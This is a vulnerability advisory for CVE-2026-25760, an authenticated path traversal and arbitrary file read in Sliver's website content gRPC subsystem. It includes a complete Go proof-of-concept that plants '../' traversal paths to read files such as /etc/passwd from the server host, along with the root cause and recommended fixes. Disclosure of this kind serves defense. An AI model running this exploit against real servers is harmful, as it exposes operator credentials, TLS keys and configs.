CVE-2026-25760

## Summary A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys. ## Affected Component - Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites` - Server-side file read in `Website.ToProtobuf` ## Impact - **Arbitrary file read** as the Sliver server OS user. - Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs. ## Root Cause The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment. ## Vulnerable Code References - `server/rpc/rpc-website.go:100` — accepts `content.Path` from operator RPC and persists it via `website.AddContent` - `server/db/models/website.go:52` — reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path` ## Proof of Concept (PoC) ### Steps (local test) 1. Build the server: ```bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server ``` 2. Create an operator config (permission `all` for website operations): ```bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp ``` 3. Start the daemon: ```bash ./sliver-server daemon -l 127.0.0.1 -p 31337 ``` 4. Run the PoC: ```bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts ``` ### PoC Code ```go package main import ( "context" "flag" "fmt" "os" "path/filepath" "runtime" "strings" "time" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/protobuf/clientpb" ) func main() { var ( configPath string websiteName string targetPath string webPath string maxBytes int ) flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)") flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create") flag.StringVar(&targetPath, "target", "", "absolute server file path to read") flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)") flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print") flag.Parse() if targetPath == "" { if runtime.GOOS == "windows" { targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts` } else { targetPath = "/etc/passwd" } } if webPath == "" { trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator)) webPath = "../../../../../../../../" + trimmed } config, err := loadConfig(configPath) if err != nil { fatalf("config error: %v", err) } rpc, conn, err := transport.MTLSConnect(config) if err != nil { fatalf("connect error: %v", err) } defer conn.Close() ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) defer cancel() _, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{ Name: websiteName, Contents: map[string]*clientpb.WebContent{ webPath: { Path: webPath, ContentType: "text/plain", Content: []byte("poc"), }, }, }) if err != nil { fatalf("WebsiteAddContent failed: %v", err) } resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName}) if err != nil { fatalf("Website failed: %v", err) } var leaked *clientpb.WebContent for _, c := range resp.Contents { if c.Path == webPath { leaked = c break } } if leaked == nil { fatalf("did not find content for path %q", webPath) } data := leaked.Content if len(data) > maxBytes { data = data[:maxBytes] } fmt.Printf("[+] target: %s\n", targetPath) fmt.Printf("[+] web-path: %s\n", webPath) fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content)) fmt.Printf("[+] preview:\n%s\n", string(data)) } func loadConfig(path string) (*assets.ClientConfig, error) { if path != "" { return assets.ReadConfig(path) } configs := assets.GetConfigs() if len(configs) == 0 { return nil, fmt.Errorf("no configs found; use -config") } if len(configs) > 1 { return nil, fmt.Errorf("multiple configs found; use -config") } for _, c := range configs { return c, nil } return nil, fmt.Errorf("unexpected config error") } func fatalf(format string, args ...any) { fmt.Fprintf(os.Stderr, format+"\n", args...) os.Exit(1) } ``` ### Expected Output (example) ``` [+] target: /etc/hosts [+] web-path: ../../../../../../../../etc/hosts [+] leaked bytes: 409 [+] preview: 127.0.0.1 localhost ... ``` ## Evidence (Screenshots) <img width="930" height="649" alt="path-traversal-poc" src="https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe" /> ## Why It Works - `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it. - `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value. - `filepath.Join` does not prevent traversal, so the server reads from outside the web directory. ## Recommended Fix - Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side). - Canonicalize paths and enforce they remain within the web content directory. - Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead. ## Notes - This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`). - The PoC demonstrates reading `/etc/hosts` but can target any readable server file.

Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated) in github.com/bishopfox/sliver